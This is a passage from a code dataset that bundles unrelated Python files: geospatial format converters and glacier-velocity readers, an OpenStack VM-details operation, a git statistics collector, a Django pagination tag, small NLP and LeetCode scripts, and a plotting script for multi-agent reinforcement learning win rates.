field_type in zip(field_names, field_types):\n sf.field(field_name, field_type, '40')\n for i in range(0, len(rec)):\n sf.point(rec[i][0], rec[i][1])\n if fields is None:\n sf.record('test ' + str(i), 'Point')\n else:\n if len(field_names) > 1:\n sf.record(*fields[i])\n else:\n sf.record(fields[i])\n sf.save(out_file)\n\n\ndef xyz2shp_pts(rec, out_file, field_names=None, fields=None):\n \"\"\"Convert points to a points shapefile\"\"\"\n sf = shapefile.Writer(shapefile.POINT)\n if fields is None:\n sf.field('fld')\n else:\n for field in field_names:\n sf.field(field)\n for i in range(0, len(rec)):\n sf.point(rec[i][0], rec[i][1], rec[i][2])\n if fields is None:\n sf.record('test ' + str(i), 'Point')\n else:\n if len(field_names) > 1:\n sf.record(*fields[i])\n else:\n sf.record(fields[i])\n sf.save(out_file)\n\n\ndef xy2shp_fns(out_fn, *in_fn, **kwargs):\n \"\"\"Convert an arbitrary number of csv files of format x, y, z... to a shapefile\n\n Parameters\n ----------\n out_fn: str\n The output filename\n in_fn: str\n Pass as many input files as you want\n\n Keyword Arguments\n -----------------\n header: int, optional\n Skip this many lines from the start of each input file. Default 0.\n delimiter: str, optional\n Use this as the delimiter when separating the fields in the CSV. Default ','\n fields: int, optional\n Put this many fields into the shapefile. Default 1.\n \"\"\"\n if 'header' in kwargs:\n header = kwargs['header']\n else:\n header = 0\n if 'delimiter' in kwargs:\n delimiter = kwargs['delimiter']\n else:\n delimiter = ','\n if 'fields' in kwargs:\n fields = ['field_' + str(i + 3) for i in range(kwargs['fields'])]\n elif 'field_names' in kwargs:\n fields = kwargs['field_names']\n else:\n fields = ['field_3']\n\n field_len = len(fields)\n\n sf = shapefile.Writer(shapefile.POINT)\n for field in fields:\n sf.field(field, fieldType='F')\n for fn in in_fn:\n with open(fn) as f:\n for i in range(header):\n f.readline()\n rec = [list(map(float, line))\n for line in [x.split(delimiter) for x in f.readlines()]]\n for i, line in enumerate(rec):\n sf.point(*line[0:2])\n sf.record(*line[2:field_len + 2])\n sf.save(out_fn)\n\n\n##########################################################################\n# No more conversions\n##########################################################################\n\n\ndef LinearInterp(dem, xx, yy, nx, ny, x, y):\n nx = len(xx)\n ny = len(yy)\n Dx = (xx[nx - 1] - xx[0]) / (nx - 1)\n Dy = (yy[ny - 1] - yy[0]) / (ny - 1)\n DxDy = Dx * Dy\n\n # Let's force a linear increase\n if xx[0] > xx[-1]:\n raise ValueError('xx must be strictly increasing')\n if yy[0] > yy[-1]:\n raise ValueError('yy must be strictly increasing')\n\n # Let's also check that dem is the correct shape\n if not dem.shape == (nx, ny):\n raise ValueError('DEM Shape is no good')\n\n # lower left point in DEM\n nx_1 = np.floor((x - xx[0]) / Dx) + 1\n ny_1 = np.floor((y - yy[0]) / Dy) + 1\n nx_1 = min(nx_1, nx - 1)\n ny_1 = min(ny_1, ny - 1)\n\n x_1 = xx[nx_1]\n y_1 = yy[ny_1]\n\n B = [0, 0, 0, 0]\n # DEM Value in surroundings points\n # 4 ----- 3\n # | |\n # 1 ----- 2\n B[0] = dem[nx_1, ny_1]\n B[1] = dem[nx_1 + 1, ny_1]\n B[2] = dem[nx_1 + 1, ny_1 + 1]\n B[3] = dem[nx_1, ny_1 + 1]\n\n InterP1 = -500\n if (min(B) != -9999):\n # Linear Interpolation at Point x,y\n InterP1 = (x - x_1) * (y - y_1) * (B[2] + B[0] - B[1] - B[3]) / DxDy\n InterP1 = InterP1 + \\\n (x - x_1) * (B[1] - B[0]) / Dx + \\\n (y - y_1) * (B[3] - B[0]) / Dy + B[0]\n else:\n for i in [0, 1]:\n for j in [0, 1]:\n dist = max(abs(x - xx(nx_1 + i)), abs(y - yy(ny_1 + j)))\n if (dist <= 0.5 * Dx and dem(nx_1 + i, ny_1 + j) != -9999):\n InterP1 = dem(nx_1 + i, ny_1 + j)\n return InterP1\n\n\ndef readgeotif(filename, xmin=-np.Inf, xmax=np.Inf, ymin=-np.Inf, ymax=np.Inf):\n import math\n \"\"\"Fancy geotiff reader, from Daniel\"\"\"\n geotiffile = gdal.Open(filename, gdal.GA_ReadOnly)\n\n # Get the size of the dataset\n nx = geotiffile.RasterXSize\n ny = geotiffile.RasterYSize\n\n # Load the data from the file\n z = np.zeros((ny, nx))\n z = geotiffile.GetRasterBand(1).ReadAsArray()\n z = z[::-1, :]\n\n # Get the coordinates of the image\n gt = geotiffile.GetGeoTransform()\n x = np.zeros(nx)\n y = np.zeros(ny)\n for i in range(nx):\n x[i] = gt[0] + i * gt[1]\n for i in range(ny):\n y[i] = gt[3] + i * gt[5]\n y = y[::-1]\n\n dx = math.fabs(gt[1])\n dy = math.fabs(gt[5])\n\n j0 = int(max(0, (xmin - x[0]) / dx))\n j1 = int(min(nx, (xmax - x[0]) / dx) + 1)\n i0 = int(max(0, (ymin - y[0]) / dy))\n i1 = int(min(ny, (ymax - y[0]) / dy) + 1)\n\n return (x[j0:j1], y[i0:i1], z[i0:i1, j0:j1])\n\n\ndef readgeodat(filename):\n geodatfile = open(filename, \"r\")\n xgeo = np.zeros((3, 2))\n i = 0\n while True:\n line = geodatfile.readline().split()\n if len(line) == 2:\n try:\n xgeo[i, 0] = float(line[0])\n xgeo[i, 1] = float(line[1])\n i = i + 1\n except ValueError:\n i = i\n if len(line) == 0:\n break\n geodatfile.close()\n xgeo[2, :] = xgeo[2, :] * 1000.0\n return xgeo\n\n\ndef readvelocity(filename):\n \"\"\" This one is from Daniel\n\n There is some interpolation onto bad pixels in here.\n :py:method:`vel2gtif` works in a similar way without messing with that.\n\n Parameters\n ----------\n filename : str\n The base filename without .vx etc. on which to act.\n \"\"\"\n\n # Get the data about the grid from the .geodat file\n xgeo = readgeodat(filename + \".vx.geodat\")\n (nx, ny) = (int(xgeo[0, 0]), int(xgeo[0, 1]))\n (dx, dy) = (xgeo[1, 0], xgeo[1, 1])\n (xo, yo) = (xgeo[2, 0], xgeo[2, 1])\n x = np.zeros(nx)\n for i in range(nx):\n x[i] = xo + i * dx\n y = np.zeros(ny)\n for i in range(ny):\n y[i] = yo + i * dy\n\n # Open the x-velocity file and read in all the binary data\n vxfile = open(filename + \".vx\", \"rb\")\n vx_raw_data = vxfile.read()\n vxfile.close()\n\n # Unpack that binary data to an array of floats, knowing that it is\n # in big-endian format. Why? God only knows.\n nvals = len(vx_raw_data) / 4\n arr = np.zeros(nvals)\n for i in range(nvals):\n arr[i] = struct.unpack('>f', vx_raw_data[4 * i:4 * (i + 1)])[0]\n\n # Fairly certain that this is right, but plot it and compare against\n # matlab to be certain\n vx = arr.reshape((ny, nx))\n\n # Go through the same rigmarole for the y-velocity file\n vyfile = open(filename + \".vy\", \"rb\")\n vy_raw_data = vyfile.read()\n vyfile.close()\n arr = np.zeros(nvals)\n for i in range(nvals):\n arr[i] = struct.unpack('>f', vy_raw_data[4 * i:4 * (i + 1)])[0]\n vy = arr.reshape((ny, nx))\n\n # Do the same thing for the files containing the errors\n exfile = open(filename + \".ex\", \"rb\")\n ex_raw_data = exfile.read()\n exfile.close()\n arr = np.zeros(nvals)\n for i in range(nvals):\n arr[i] = struct.unpack('>f', ex_raw_data[4 * i:4 * (i + 1)])[0]\n ex = arr.reshape((ny, nx))\n\n eyfile = open(filename + \".ey\", \"rb\")\n ey_raw_data = eyfile.read()\n eyfile.close()\n arr = np.zeros(nvals)\n for i in range(nvals):\n arr[i] = struct.unpack('>f', ey_raw_data[4 * i:4 * (i + 1)])[0]\n ey = arr.reshape((ny, nx))\n\n # Find weird points. For example, a point with no data but which has\n # four cardinal neighbors (N,S,E,W) that does can reasonably have data\n # there, interpolated from its cardinal neighbors. Likewise, a point\n # which does have data but for which only 2 of its 8 neighbors (N,S,E,W,\n # NW,NE,SE,SW) have data would be better off ignored.\n for i in range(1, ny - 1):\n for j in range(1, nx - 1):\n if (vx[i, j] == -2e+9):\n nbrs = [[i + 1, i - 1, i, i], [j, j, j + 1, j - 1]]\n k = sum(vx[nbrs[0], nbrs[1]] != -2e+9)\n if (k == 4):\n vx[i, j] = sum(vx[nbrs[0], nbrs[1]]) / 4.0\n vy[i, j] = sum(vy[nbrs[0], nbrs[1]]) / 4.0\n else:\n nbrs = [[i + 1, i + 1, i + 1, i, i, i - 1, i - 1, i - 1],\n [j + 1, j, j - 1, j + 1, j - 1, j + 1, j, j - 1]]\n k = sum(vx[nbrs[0], nbrs[1]] != -2e+9)\n if (k < 2):\n vx[i, j] = -2e+9\n vy[i, j] = -2e+9\n\n for i in range(1, ny - 1):\n for j in range(1, nx - 1):\n if (vx[i, j] != -2e+9):\n nbrs = [[i + 1, i + 1, i + 1, i, i, i - 1, i - 1, i - 1],\n [j + 1, j, j - 1, j + 1, j - 1, j + 1, j, j - 1]]\n k = sum(vx[nbrs[0], nbrs[1]] != -2e+9)\n if (k < 4):\n vx[i, j] = -2e+9\n vy[i, j] = -2e+9\n\n return (x, y, vx, vy, ex, ey)\n\n\ndef interpolate(x, y, x0, y0, q):\n dx = x[1] - x[0]\n dy = y[1] - y[0]\n\n i = int((y0 - y[0]) / dy)\n j = int((x0 - x[0]) / dx)\n\n p = (q[i, j] + (x0 - x[j]) * (q[i, j + 1] - q[i, j]) / dx + (y0 - y[i]) * (q[i + 1, j] - q[i, j]) / dy + (x0 - x[j]) * (y0 - y[i]) * (q[i + 1, j + 1] + q[i, j] - q[i + 1, j] - q[i, j + 1]) / (dx * dy))\n return p\n\n\ndef streamline(x, y, vx, vy, x0, y0):\n \"\"\"x,y are coords of vx and vy, x0,y0 is starting point\"\"\"\n\n u = interpolate(x, y, x0, y0, vx)\n v = interpolate(x, y, x0, y0, vy)\n\n speed = np.sqrt(u ** 2 + v ** 2)\n\n X = [x0]\n Y = [y0]\n U = [speed]\n\n k = 0\n\n while (speed > 0.01 and k < 10000):\n k = k + 1\n dt = 50.0 / speed\n\n x0 = x0 + dt * u\n y0 = y0 + dt * v\n\n u = interpolate(x, y, x0, y0, vx)\n v = interpolate(x, y, x0, y0, vy)\n speed = np.sqrt(u ** 2 + v ** 2)\n if speed > 1.0e5:\n if k < 100:\n print('eek')\n break\n X.append(x0)\n Y.append(y0)\n U.append(speed)\n\n return X, Y, U\n\n\ndef gtif_getlims(fn):\n \"\"\"Get the bounds of an input raster\n\n Parameters\n ----------\n fn: str\n Filename to get raster info from\n\n Returns\n -------\n bounds: tuple\n Four floats, left x, right x, lower y, upper y\n \"\"\"\n ds = gdal.Open(fn)\n rows = ds.RasterYSize\n cols = ds.RasterXSize\n tf = ds.GetGeoTransform()\n return (tf[0], tf[0] + cols * tf[1], tf[3], tf[3] + rows * tf[5])\n\n\ndef gtif_getproj(fn):\n \"\"\"Get the projection of a file\n\n Parameters\n ----------\n fn: str\n Name of file\n\n Returns\n -------\n proj: str\n The projection info\n \"\"\"\n ds = gdal.Open(fn)\n return ds.GetProjection()\n\n\n##########################################################################\n# Allow us to convert files\n##########################################################################\n\ndef _parse_args_ftconvert():\n \"\"\"Convert filetypes\"\"\"\n import argparse\n parser = argparse.ArgumentParser(description='Convert filetypes')\n parser.add_argument(\n 'dst_type', type=str, choices=['tif', 'xyz', 'xy', 'elmer', 'mshdem', 'shp', 'xyuv'], help='Dest. filetype')\n parser.add_argument('fn', type=str, help='File(s) to convert', nargs='+')\n parser.add_argument('-o', type=str, default=None,\n help='Output filename(s)', nargs='*')\n parser.add_argument('-ndv', type=float, default=-99999,\n help='no data value. Default -99999')\n parser.add_argument('-dlm', type=str, default=',',\n help='Delimiter for input csvs. Default \",\"')\n parser.add_argument('-f', type=int, default=1,\n help='Number of fields to process for input csvs. Default 1')\n return parser\n\n\ndef _main():\n parser = _parse_args_ftconvert()\n args = parser.parse_args()\n split_names = [os.path.splitext(fn) for fn in args.fn]\n if args.o is None and (not args.dst_type == 'shp'):\n args.o = [name[0] + '.' + args.dst_type for name in split_names]\n elif args.dst_type == 'xyuv':\n pass\n else:\n if (not len(args.o) == len(split_names)) and (not args.dst_type == 'shp'):\n raise IOError(\n 'Number of output files must match number of input files')\n if (not args.dst_type == 'shp') and (not args.dst_type == 'xyuv'):\n for in_fn, split_name, out_fn in zip(args.fn, split_names, args.o):\n if split_name[1] == '.tif':\n if args.dst_type == 'xy':\n gtif2xyz_fn_new(in_fn, out_fn, intit=False)\n return 0\n elif args.dst_type == 'xyz':\n gtif2xyz_fn_new(in_fn, out_fn)\n return 0\n elif args.dst_type == 'elmer':\n gtif2gridIn_fn(in_fn, out_fn, zeroval=args.ndv)\n elif args.dst_type == 'mshdem':\n out_fn = split_name[0] + '.DEM'\n gtif2mshdem_fn(in_fn, out_fn, ndv=args.ndv)\n else:\n raise TypeError('Conversion type not yet implemented')\n elif args.dst_type == 'xyuv':\n if not len(args.fn) == 2:\n raise IOError('Need u, v inputs for xyuv')\n gtif2xyuv_fn(args.fn[0], args.fn[1], args.o[0], ndv=args.ndv)\n\n elif split_names[0][1] == '.csv':\n if args.dst_type == 'shp':\n if args.o is None:\n print('Using the filename from the first csv')\n args.o = [split_names[0] + '.shp']\n xy2shp_fns(args.o[0], *args.fn, delimiter=args.dlm, fields=args.f)\n else:\n print('Not finding the dst type: Conversion type not yet implemented')\n","sub_path":"modeltools/lib/glib.py","file_name":"glib.py","file_ext":"py","file_size_in_byte":41096,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"237989080","text":"import traceback\nfrom cloudshell.cp.core.models import VmDetailsData\n\n\nclass VmDetailsOperation(object):\n def __init__(self, vm_details_provider, instance_service):\n \"\"\"\n :type vm_details_provider: cloudshell.cp.openstack.domain.common.vm_details_provider.VmDetailsProvider\n \"\"\"\n self.vm_details_provider = vm_details_provider\n self.instance_service = instance_service\n\n def get_vm_details(self, openstack_session, requests, cancellation_context, logger, management_vlan_id):\n \"\"\"\n :param management_vlan_id:\n :param requests:\n :param keystoneauth1.session.Session openstack_session:\n :param cancellation_context:\n :param logging.Logger logger:\n \"\"\"\n\n results = []\n for request in requests:\n if cancellation_context.is_cancelled:\n break\n\n vm_name = request.deployedAppJson.name\n instance_id = request.deployedAppJson.vmdetails.uid\n\n try:\n vm = self.instance_service.get_instance_from_instance_id(openstack_session=openstack_session,\n instance_id=instance_id,\n logger=logger)\n result = self.vm_details_provider.create(vm, openstack_session, management_vlan_id, logger)\n except Exception as e:\n logger.error(\"Error getting vm details for '{0}': {1}\".format(vm_name, traceback.format_exc()))\n result = VmDetailsData(errorMessage=e.message)\n\n result.appName = vm_name\n results.append(result)\n\n return results\n","sub_path":"package/cloudshell/cp/openstack/command/operations/vm_details_operation.py","file_name":"vm_details_operation.py","file_ext":"py","file_size_in_byte":1713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"615163804","text":"import re\nfrom builtins import super\n\nfrom gitstats.RunExternal import RunExternal\nfrom gitstats.collector.StatisticsCollector.StatisticsCollectorStrategy import StatisticsCollectorStrategy\nfrom gitstats.model.Author import Author\n\n\nclass AuthorStrategy(StatisticsCollectorStrategy):\n def __init__(self, data, conf):\n super().__init__(data, conf)\n\n def collect(self):\n # defined for stamp, author only if author committed at this timestamp.\n self.data.changes_by_date_by_author = {} # stamp -> author -> lines_added\n \n if self.conf.ignore_msg_regex:\n ignore_msg_filter = '--grep=\"%s\" --invert-grep' % self.conf.ignore_msg_regex\n else:\n ignore_msg_filter = ''\n \n # Similar to the above, but never use --first-parent\n # (we need to walk through every commit to know who\n # committed what, not just through mainline)\n lines = RunExternal.execute([\n 'git log --no-merges --ignore-submodules -w --shortstat --date-order --pretty=format:\"%%H %%at %%aN\" %s %s' % (\n ignore_msg_filter,\n self.get_log_range('HEAD')\n )\n ]).split('\\n')\n \n #reverse the lines so we find the added/removed data before the author\n lines.reverse()\n \n inserted = 0\n deleted = 0\n stamp = 0\n \n for line in lines:\n if len(line) == 0:\n continue\n\n if re.search(r'files? changed', line) is not None:\n numbers = self.get_stat_summary_counts(line)\n \n if len(numbers) == 3:\n (files, inserted, deleted) = [int(el) for el in numbers]\n else:\n print('Warning: failed to handle line \"%s\"' % line)\n (files, inserted, deleted) = (0, 0, 0)\n else:\n # \n parts = line.split(' ')\n if len(parts) >= 3:\n try:\n old_stamp = stamp\n sha = parts[0]\n stamp = int(parts[1])\n author_name = ' '.join(parts[2:])\n if sha not in self.conf.ignored_shas:\n author_name = self.get_merged_author(author_name)\n if old_stamp > stamp:\n # clock skew, keep old timestamp to avoid having ugly graph\n stamp = old_stamp\n if author_name not in self.data.authors.keys():\n self.data.authors[author_name] = Author(author_name)\n author = self.data.authors[author_name]\n self.data.add_commit(author, stamp, inserted, deleted)\n author.lines_added += inserted\n author.lines_removed += deleted\n author_changes_for_date = self.data.changes_by_date_by_author.setdefault(stamp, {}).setdefault(author, {})\n # Cumulative?\n author_changes_for_date['lines_added'] = author.lines_added\n author_changes_for_date['lines_changed'] = author.lines_added + author.lines_removed\n author_changes_for_date['commits'] = author.commits\n \n # Reset the stats in case there's no modifications before the next commit\n # is encountered.\n files, inserted, deleted = 0, 0, 0\n except ValueError:\n print('Warning: unexpected line \"%s\"' % line)\n else:\n print('Warning: unexpected line \"%s\"' % line)\n\n","sub_path":"gitstats/collector/StatisticsCollector/AuthorStrategy.py","file_name":"AuthorStrategy.py","file_ext":"py","file_size_in_byte":3848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"526905119","text":"from django import template\n\nregister = template.Library()\n\n\n@register.inclusion_tag('account/parts/pagination.html', takes_context=True)\ndef paginate(context, page, begin_pages=1, end_pages=1,\n before_pages=2, after_pages=2,\n template='parts/pagination.html'):\n \"\"\"\n Return a Digg-like pagination,\n by splitting long list of page into 3 blocks of pages.\n \"\"\"\n get_string = ''\n for key, value in context['request'].GET.items():\n if key != 'page':\n get_string += f'&{key}={value}'\n\n page_range = list(page.paginator.page_range)\n begin = page_range[:begin_pages]\n end = page_range[-end_pages:]\n middle = page_range[max(page.number - before_pages - 1, 0):\n page.number + after_pages]\n\n if set(begin) & set(middle): # [1, 2, 3], [2, 3, 4], [...]\n begin = sorted(set(begin + middle)) # [1, 2, 3, 4]\n middle = []\n elif begin[-1] + 1 == middle[0]: # [1, 2, 3], [4, 5, 6], [...]\n begin += middle # [1, 2, 3, 4, 5, 6]\n middle = []\n elif middle[-1] + 1 == end[0]: # [...], [15, 16, 17], [18, 19, 20]\n end = middle + end # [15, 16, 17, 18, 19, 20]\n middle = []\n elif set(middle) & set(end): # [...], [17, 18, 19], [18, 19, 20]\n end = sorted(set(middle + end)) # [17, 18, 19, 20]\n middle = []\n\n if set(begin) & set(end): # [1, 2, 3], [...], [2, 3, 4]\n begin = sorted(set(begin + end)) # [1, 2, 3, 4]\n middle, end = [], []\n elif begin[-1] + 1 == end[0]: # [1, 2, 3], [...], [4, 5, 6]\n begin += end # [1, 2, 3, 4, 5, 6]\n middle, end = [], []\n\n return {'template': template,\n 'page': page,\n 'begin': begin,\n 'middle': middle,\n 'end': end,\n 'GET_string': get_string}\n","sub_path":"src/account/templatetags/paginator.py","file_name":"paginator.py","file_ext":"py","file_size_in_byte":1818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"318983806","text":"# Taking input from the user\nlist1 = input(\"Enter any Sentence: \").split(\" \")\n\n# Function for evaluating the sentence\ndef give_sentence(list1):\n # Declaring empty list\n list2 = []\n #Print middle words in a sentence\n l=len(list1)\n print (l)\n # If the number of elements in the list are even print the middle, and the element next to it\n if(l%2 == 0):\n print(\"Middle Words of the Sentence are: \" + list1[len(list1) // 2], list1[(len(list1) // 2) + 1])\n else:\n # If the length is an odd number print the middle element\n print(\"Middle Words of the Sentence are: \" + list1[len(list1) // 2])\n\n # Printing Longest Word in the sentence\n for item in list1:\n list2.append(len(item))\n print(\"Longest Word in the Sentence: \"+list1[list2.index(max(list2))] +\" \"+\"(\"+str(max(list2)) + \" letters\"+ \")\")\n # Printing Sentence in Reverse\n # item[::-1] to reverse the string\n # end = \" \" is to print side by side\n print(\"Reversed Sentence: \", end= \" \")\n for item in list1:\n print(item[::-1],end = \" \")\n\ngive_sentence(list1)","sub_path":"labs/lab1/code/longestword.py","file_name":"longestword.py","file_ext":"py","file_size_in_byte":1087,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"485526322","text":"import os\nimport sys\n\nfrom setuptools import setup, find_packages\nfrom setuptools.command.test import test as TestCommand\n\n\n# Some initialization\nhere = os.path.abspath(os.path.dirname(__file__))\nlong_description = open(os.path.join(here, 'README.rst')).read()\n\n\ndata_files = []\nroot_dir = os.path.dirname(__file__)\nif root_dir:\n os.chdir(root_dir)\n\n\n# this code snippet is taken from django-registration setup.py script\nfor dirpath, dirnames, filenames in os.walk('sticky_files'):\n # Ignore dirnames that start with '.'\n for i, dirname in enumerate(dirnames):\n if dirname.startswith('.'): del dirnames[i]\n if filenames:\n prefix = dirpath[len('sticky_files')+1:]\n for f in filenames:\n data_files.append(os.path.join(prefix, f))\n\nclass Tox(TestCommand):\n def finalize_options(self):\n TestCommand.finalize_options(self)\n self.test_args = []\n self.test_suite = True\n def run_tests(self):\n #import here, cause outside the eggs aren't loaded\n import tox\n errcode = tox.cmdline(self.test_args)\n sys.exit(errcode)\n\n\nsetup(\n name=\"django-sticky-files\",\n version=\"0.3.2\",\n packages=find_packages(),\n author=\"asyncee\",\n description=\"Application to make Django file fields save their values between page reloads\",\n long_description=long_description,\n license=\"MIT\",\n keywords=\"django sticky_files\",\n url='https://github.com/asyncee/django-sticky-files',\n download_url='https://pypi.python.org/pypi/django-sticky-files/',\n classifiers=[\n 'Development Status :: 3 - Alpha',\n 'Environment :: Web Environment',\n 'Framework :: Django',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: MIT License',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 3',\n 'Topic :: Software Development :: Widget Sets',\n ],\n\n package_dir={'sticky_files': 'sticky_files'},\n package_data={'sticky_files': data_files},\n zip_safe=False,\n\n tests_require=['tox'],\n cmdclass={'test': Tox},\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2094,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"166637594","text":"#!/usr/bin/env python3\nimport sys\n\nfrequency = []\n\nfor line in sys.stdin:\n sign = line[0]\n freq = int(line[1:].rstrip())\n\n if sign == '-': freq = -1 * freq\n\n frequency.append(freq)\n\ntwice = False\nhistory = set()\ncurrent = 0\n\nwhile not twice:\n for freq in frequency:\n history.add(current)\n\n current += freq\n\n if current in history:\n print(current)\n twice = True\n break\n","sub_path":"2018/day01/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"146161036","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2019/2/20 下午5:16\n# @Author : empiredan\n# @Site : \n# @File : solution.py.py\n# @Software: PyCharm\n\nfrom collections import deque\n\n\nclass Solution(object):\n def solve(self, board):\n \"\"\"\n :type board: List[List[str]]\n :rtype: void Do not return anything, modify board in-place instead.\n \"\"\"\n\n m = len(board)\n if m < 3:\n return\n\n n = len(board[0])\n\n if n < 3:\n return\n\n q = deque()\n\n for j in range(0, n):\n q.append((0, j))\n q.append((m - 1, j))\n\n for i in range(0, m):\n q.append((i, 0))\n q.append((i, n - 1))\n\n s = set()\n\n while len(q) > 0:\n i, j = q.popleft()\n\n if board[i][j] == 'X':\n continue\n\n if (i, j) in s:\n continue\n\n s.add((i, j))\n\n if i + 1 < m:\n q.append((i + 1, j))\n if i - 1 >= 0:\n q.append((i - 1, j))\n if j + 1 < n:\n q.append((i, j + 1))\n if j - 1 >= 0:\n q.append((i, j - 1))\n\n for i in range(0, m):\n for j in range(0, n):\n if board[i][j] == 'X':\n continue\n if (i, j) in s:\n continue\n board[i][j] = 'X'\n","sub_path":"130-surrounded-regions/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"15409194","text":"#!/usr/bin/env python3\n# -*- coding:utf-8 -*- \n# Author: lionel\nimport re\n\nfrom tensorflow.python.keras.preprocessing.text import Tokenizer\n\n\n# def data_process(file_path, tag):\n# files = os.listdir(file_path)\n# with open('/tmp/%s.csv' % tag, 'w', encoding='utf-8') as out:\n# for file in files:\n# with open(os.path.join(file_path, file), 'r', encoding='utf-8') as f:\n# try:\n# out.write(\"%s\\t%s\\n\" % (tag, extract_word(f.read(), '[^\\u4e00-\\u9fa5A-Za-z]+')))\n# except:\n# continue\n\n\ndef data_process2(file_path, out_path):\n with open(out_path, 'w', encoding='utf-8') as out:\n with open(file_path, 'r', encoding='utf-8') as f:\n for line in f:\n fields = line.split('\\t')\n if len(fields) != 4:\n continue\n words = extract_word(fields[3].strip(), '[^\\u4e00-\\u9fa5A-Za-z]+')\n if len(words) <= 0:\n continue\n out.write(\"%s\\t%s\\t%s\" % (fields[0], words, fields[3]))\n\n\ndef words_to_ids(train_data):\n \"\"\"\n 建立 word->id 字典\n :param train_data: 文本文件\n :return: word->id 字典\n \"\"\"\n tokenizer = Tokenizer(lower=True, char_level=True)\n tokenizer.fit_on_texts(train_data)\n word_index = tokenizer.word_index\n word_index = {k: (v + 1) for k, v in word_index.items()}\n word_index[''] = 0\n word_index[''] = 1\n return word_index\n\n\ndef text_to_sequence(text, word_index):\n sequence = []\n for word in list(text):\n sequence.append(word_index.get(word, word_index.get('')))\n return sequence\n\n\ndef extract_word(text, pattern):\n \"\"\"\n :param text: 文本\n :param pattern: 正则表达式\n :return: 返回取满足正则的文本\n \"\"\"\n zh_pattern = re.compile(pattern)\n return ''.join(zh_pattern.split(text))\n","sub_path":"kerasEg/DataUtils.py","file_name":"DataUtils.py","file_ext":"py","file_size_in_byte":1913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"391852733","text":"import numpy as np\nfrom policy.vdn import VDN\nfrom policy.qmix import QMIX\nfrom policy.coma import COMA\nimport os\nimport matplotlib.pyplot as plt\nfrom runner import Runner\nfrom smac.env import StarCraft2Env\nfrom common.arguments import get_common_args\nfrom common.arguments import get_coma_args\nfrom common.arguments import get_mixer_args\n\n\ndef plt_win_rate_mean():\n path = []\n alg_num = 7\n win_rates = [[] for _ in range(alg_num)]\n game_map = '3m'\n path.append('./result/vdn/' + game_map)\n path.append('./result/qmix/' + game_map)\n path.append('./result/qtran_base/' + game_map)\n path.append('./result/qtran_alt/' + game_map)\n path.append('./result/coma/' + game_map)\n path.append('./result/reinforce+commnet/' + game_map)\n path.append('./result/reinforce+g2anet/' + game_map)\n num_run = 8\n for i in range(alg_num):\n for j in range(num_run):\n win_rates[i].append(np.load(path[i] + '/win_rates_{}.npy'.format(j)))\n win_rates = np.array(win_rates).mean(axis=1)\n new_win_rates = [[] for _ in range(alg_num)]\n average_cycle = 5\n for i in range(alg_num):\n rate = 0\n time = 0\n for j in range(len(win_rates[0])):\n rate += win_rates[i, j]\n time += 1\n if time % average_cycle == 0:\n new_win_rates[i].append(rate / average_cycle)\n time = 0\n rate = 0\n new_win_rates = np.array(new_win_rates)\n new_win_rates[:, 0] = 0\n win_rates = new_win_rates\n\n\n plt.figure()\n plt.ylim(0, 1.0)\n plt.plot(range(len(win_rates[0])), win_rates[0], c='b', label='vdn')\n plt.plot(range(len(win_rates[1])), win_rates[1], c='r', label='qmix')\n plt.plot(range(len(win_rates[2])), win_rates[2], c='g', label='qtran_base')\n plt.plot(range(len(win_rates[3])), win_rates[3], c='y', label='qtran_alt')\n plt.plot(range(len(win_rates[4])), win_rates[4], c='c', label='coma')\n plt.plot(range(len(win_rates[5])), win_rates[5], c='#FFA500', label='reinforce+commnet')\n plt.plot(range(len(win_rates[6])), win_rates[6], c='m', label='reinforce+g2anet')\n plt.legend()\n plt.xlabel('epoch * 25')\n plt.ylabel('win_rate')\n plt.savefig('./result/overview.png')\n plt.show()\n\ndef plt_win_rate_single():\n path = []\n alg_num = 7\n win_rates = []\n path.append('./result/best/vdn.npy')\n path.append('./result/best/qmix.npy')\n path.append('./result/best/qtran_base.npy')\n path.append('./result/best/qtran_alt.npy')\n path.append('./result/best/coma.npy')\n path.append('./result/best/reinforce+commnet.npy')\n path.append('./result/best/reinforce+g2anet.npy')\n for i in range(alg_num):\n win_rates.append(np.load(path[i]))\n win_rates = np.array(win_rates)\n new_win_rates = [[] for _ in range(alg_num)]\n average_cycle = 5\n for i in range(alg_num):\n rate = 0\n time = 0\n for j in range(1000):\n rate += win_rates[i, j]\n time += 1\n if time % average_cycle == 0:\n new_win_rates[i].append(rate / average_cycle)\n time = 0\n rate = 0\n new_win_rates = np.array(new_win_rates)\n new_win_rates[:, 0] = 0\n win_rates = new_win_rates\n\n\n plt.figure()\n plt.ylim(0, 1.0)\n plt.plot(range(len(win_rates[0])), win_rates[0], c='b', label='vdn')\n plt.plot(range(len(win_rates[1])), win_rates[1], c='r', label='qmix')\n plt.plot(range(len(win_rates[2])), win_rates[2], c='g', label='qtran_base')\n plt.plot(range(len(win_rates[3])), win_rates[3], c='y', label='qtran_alt')\n plt.plot(range(len(win_rates[4])), win_rates[4], c='c', label='coma')\n plt.plot(range(len(win_rates[5])), win_rates[5], c='#FFA500', label='reinforce+commnet')\n plt.plot(range(len(win_rates[6])), win_rates[6], c='m', label='reinforce+g2anet')\n plt.legend()\n plt.legend()\n plt.xlabel('epoch * 25')\n plt.ylabel('win_rate')\n plt.savefig('./result/best/best.png')\n plt.show()\n\n\ndef find_best_model(model_path, model_num):\n args = 